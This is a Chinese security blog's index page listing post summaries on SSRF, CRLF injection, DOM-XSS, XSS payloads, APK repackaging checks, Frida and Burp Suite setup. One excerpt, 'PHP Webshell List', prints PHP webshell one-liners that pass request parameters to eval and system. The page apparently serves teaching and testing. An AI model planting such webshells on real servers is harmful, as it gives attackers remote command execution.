Mysticbinary - 博客园

2020年3月26日

摘要：目录Git的三个空间的认识分支 Git定义： Git可以类比为一个本地文件管理工具，它可以记录文件夹中每个文件每次编辑记录，当然它可以更多结合着远程仓库一起操作，对本地和远程仓库一起管理，达到最好效果。 Git的三个空间的认识 Git命令都很简单，也就十多个常用命令，但是它包含不同空间，不同空间有不阅读全文

posted @ 2020-03-26 22:59 Mysticbinary 阅读(363) 评论(0) 推荐(0)

SSRF攻击原理

摘要：什么是SSRF 一个对外的Web接口，改接口能让用户控制curl命令，去访问别的web服务。简图如下想象一下当用户请求的baidu.com/x.php?image=google.com/1.jpg 改成 baidu.com/x.php?image=private.com/php.info，是不是阅读全文

posted @ 2020-03-26 22:51 Mysticbinary 阅读(740) 评论(0) 推荐(0)

int型参数插入SQL语句笔记

摘要：目录mysql_real_escape_string()用法案例类似PHP语言的 mysql_real_escape_string() 的函数，在用来防范SQL注入的时候，可能会遇到int型注入成功的情况。 mysql_real_escape_string()用法 mysql_real_escap 阅读全文

posted @ 2020-03-26 22:46 Mysticbinary 阅读(1038) 评论(0) 推荐(0)

PHP Webshell List

摘要：基础类很容易被扫描、检测出来 <?php @eval($_GET['phpcode']);?> <?php @eval($_POST['phpcode']);?> <?php @system($_GET['cmd']);?> <?php @system($_POST['cmd']);?> <?ph 阅读全文

posted @ 2020-03-26 22:41 Mysticbinary 阅读(477) 评论(0) 推荐(0)

macOS下Chrome和Safari导入证实抓包HTTPS

摘要：目录下载证书mac OS导入证书Chrome设置代理Safari设置代理下面的操作基于Mac OS Catalina（v10.15.3），抓包拦截工具基于Burp Suite v2.1.05。下载证书将Burp Suite 的证书下载到本地任意一个路径下。如果使用其它抓包工具，自行搜索一下。阅读全文

posted @ 2020-03-26 21:53 Mysticbinary 阅读(5100) 评论(0) 推荐(2)

2020年3月24日

CRLF注入（HTTP响应头拆分攻击）原理

摘要：目录测试插入其它响应头插入XSS原理分析修复方式 CRLF 指的是回车符(CR，ASCII 13，\r，%0d) 和换行符(LF，ASCII 10，\n，%0a)，操作系统就是根据这个标识来进行换行的，你在键盘输入回车键就是输出这个字符，只不过Win和Linux系统用的标识不一样而已。在HTTP当阅读全文

posted @ 2020-03-24 17:02 Mysticbinary 阅读(10182) 评论(1) 推荐(0)

2020年3月22日

DOM-XSS攻击原理与防御

摘要：目录XSSDOM文档利用原理DOM-XSS 场景一：innerHTMLDOM-XSS 场景二：跳转DOM-XSS 场景三：evalDOM-XSS 场景四：cookie、referrerDOM-XSS 场景五：document.write 、document.URL.indexOf("id=")防护策阅读全文

posted @ 2020-03-22 18:53 Mysticbinary 阅读(37887) 评论(1) 推荐(7)

2020年1月6日

XSS Payload List

摘要：目录标签、事件、属性HTML代码注入script标签a标签img标签 + onerror(都是通过event来调用js)button标签p标签 + onmouseover事件(都是通过event来调用js)body标签 + onload(都是通过event来调用js)var标签input标签 + 属阅读全文

posted @ 2020-01-06 21:55 Mysticbinary 阅读(3404) 评论(0) 推荐(0)

2019年12月27日

APK签名替换检测

摘要： APK二次打包的危害 APK二次打包是Android应用安全风险中的一部分，一般是通过反编译工具向应用中插入广告代码与相关配置，再在第三方应用市场、论坛发布。打包党对移动App带来的危害有以下几种： 1. 插入自己广告或者删除原来广告； 2. 恶意代码, 恶意扣费、木马等； 3. 修改原来支付逻辑阅读全文

posted @ 2019-12-27 15:40 Mysticbinary 阅读(3772) 评论(0) 推荐(5)

检测APK是否存在Janus漏洞步骤

摘要：目录Janus说明检测方式方式1-使用GetApkInfo.jar工具方式2-把APK改成zip解压查看修复 Janus说明 Android APP仅使用V1签名，可能存在Janus漏洞（CVE-2017-13156），Janus漏洞（CVE-2017-13156）允许攻击者在不改变原签名的情况下任阅读全文

posted @ 2019-12-27 15:18 Mysticbinary 阅读(2599) 评论(0) 推荐(1)

2019年12月25日

单元测试与安全测试浅析

摘要：目录测试的意义测试用例测试函数功能案例assert关键字的用法测试类功能案例安全测试案例-短信轰炸__main__全局变量解释总结测试的意义人们针对一个具体问题，通过分析和设计，最后用编程语言写出了一个程序，如果它通过了语言解释器（编译器）的检查，可以运行了，那么下一步的工作就是设法确认它确实满阅读全文

posted @ 2019-12-25 22:40 Mysticbinary 阅读(1082) 评论(2) 推荐(3)

2019年12月23日

Python requests库模拟浏览器行为的一些技巧记录

摘要：一些经验记录。忽略ssl报错一些证书校验问题会导致程序报错，解决方法为在发送请求的时候，带上verify=False参数； result = requests.get(burp0_url, headers=burp0_headers, verify=False) 为requests设置代理这个阅读全文

posted @ 2019-12-23 20:46 Mysticbinary 阅读(2503) 评论(0) 推荐(1)

2019年12月22日

Python with语句和过程抽取思想

摘要：目录使用with语句前后对比with语句的执行原理自定义open函数总结参考编程中有很多操作都是配套使用的，这种配套的流程可以称为计算过程，Python语言为这种计算过程专门设计了一种结构：with语句。比如文件处理就是这类计算过程的典型代表。使用with语句前后对比没有使用with语句之前，阅读全文

posted @ 2019-12-22 23:22 Mysticbinary 阅读(666) 评论(1) 推荐(3)

2019年12月17日

Python利用PyExecJS库执行JS函数-实战破解字段加密

摘要：目录PyExecJS 使用案例查看JS引擎信息安装PhantomJS步骤案例11.访问目标网站的登录页面并查看源码2.将js放到和py脚本同一级目录下3. 编写Python脚本来调用js案例21.找登录时的加密函数2.监听鼠标点击事件查看流程3.写代码不同浏览器内核版本对URL编码处理也不同[冷知识阅读全文

posted @ 2019-12-17 17:41 Mysticbinary 阅读(3088) 评论(0) 推荐(3)

2019年12月10日

Frida用法之函数操作

摘要： Frida接口功能介绍 Frida是个so级别的hook框架，它可以帮助开发、安全人员对指定的进程的so模块进行分析。它主要提供了功能简单的Python接口和功能丰富的JS接口，使得hook函数和修改so可以编程化，接口中包含了主控端与目标进程的交互接口。目标进程的交互接口分为： JS接口功能包阅读全文

posted @ 2019-12-10 14:17 Mysticbinary 阅读(9868) 评论(0) 推荐(2)

2019年12月9日

Frida的安装步骤基于Android系统组合Python语言

摘要： Frida是什么我觉得官网已经说得很清楚了。简单的说就是一款动态代码检测工具，可用于各种主流操作系统，这里主要讨论的是动态检测Android系统里面代码运行情况。 Android版的Frida环境的搭建主要分为两个部分，一部分是运行在Android机器上的代理工具，另一部分是Windows系统用阅读全文

posted @ 2019-12-09 19:18 Mysticbinary 阅读(4185) 评论(0) 推荐(2)

2019年12月8日

使用Python threading库测试条件竞争

摘要：目录Burp + Python threading库1. Burp Suite安装插件2. 拦截包并拷贝发包的代码3. 运行Python多线程代码4. 确认结果Burp + RepeaterBurp + Turbo Intruder插件修复Reference 有时候想看看Web应用在代码或者数据库层阅读全文

posted @ 2019-12-08 22:49 Mysticbinary 阅读(1188) 评论(1) 推荐(1)

2019年11月26日

crontab 定时任务没有响应检测步骤

摘要：目录在线调试设置规则检查crontab是否启动检查crontab日志检查账号权限和路径在线调试 https://tool.lu/crontab/ 设置规则 # 每分钟执行一次 */1 * * * * /scripts/script.sh # 每小时执行一次 0 */1 * * * /scripts 阅读全文

posted @ 2019-11-26 11:50 Mysticbinary 阅读(666) 评论(0) 推荐(1)

2019年11月21日

解决Android killer APK 编译失败，无法继续下一步签名

摘要：报错特征在应用市场上下载了一个APK，使用Androd killer的编译的功能，结果报错了，报错信息如下：解决解决方式有如下几种，方式多的原因是因为系统对APK的打包方式不同，就导致对应的反编译方式也会不同方式一切换JDK版本可能编写APK的JDK版本是1.7，但是你用1.8来反编译，阅读全文

posted @ 2019-11-21 19:20 Mysticbinary 阅读(14829) 评论(0) 推荐(1)

2019年11月19日

Python安装MySQL库的一些坑

摘要： pip安装库时遇到的问题我使用ubuntu系统通过pip安装MySQLdb库的时候，报了一堆错，解决了半天，没搞定。然后安装另一个库pymysql一下就OK了，它们的功能都是一样的，为什么不行没有研究，这里就做一下记录吧，防止下次在遇到这个问题。 Windows OS 使用MySQLdb库 Lin 阅读全文

posted @ 2019-11-19 19:17 Mysticbinary 阅读(442) 评论(0) 推荐(3)

2019年10月17日

Python生成multipart/form-data格式数据

摘要：目录需求背景multipart/form-data 格式结构解析使用requests-toolbelt的MultipartEncoder 构造关于boundary的作用参考文章需求背景想用requests做一个自动上传的功能，发现失败了，比如直接发POST包，或者直接data=二进制流，都会上传阅读全文

posted @ 2019-10-17 16:29 Mysticbinary 阅读(10491) 评论(0) 推荐(1)

2019年10月16日

Python的selenium库的安装

摘要：目录第一步pip install第二步Python运行Demo selenium是的作用是模拟点击浏览器上的按钮，配合一个无头浏览器就可以快速解决一些前端需要加解密的功能。第一步pip install selenium安装的第一步就是用pip把模块下载回来。 pip install seleniu 阅读全文

posted @ 2019-10-16 19:00 Mysticbinary 阅读(2840) 评论(0) 推荐(2)

2019年9月30日

Android导入Burp Suite证书抓包HTTPS

摘要：目录需求设置代理Burp Suite代理端设置Android端设置发现证书问题先导出cacert.cer证书传送到Android端Android安装CA证书测试HTTPSAndroid端第二种安装证书的方式更新需求 Android APP安全测试时，主要工作分为： APK安全业务安全 APK安全阅读全文

posted @ 2019-09-30 18:37 Mysticbinary 阅读(15474) 评论(0) 推荐(3)

2019年9月29日

AndroidKiller工具反编译APK包记录

摘要：报错背景今天使用AndroidKiller V1.3.1，反编译一个APK，遇到如下报错：当前 Apktool 使用版本：Android Killer Default APKTOOL 正在反编译 APK，请稍等... >I: 使用 ShakaApktool 2.0.0-20150914 >I: 阅读全文

posted @ 2019-09-29 20:13 Mysticbinary 阅读(28834) 评论(3) 推荐(2)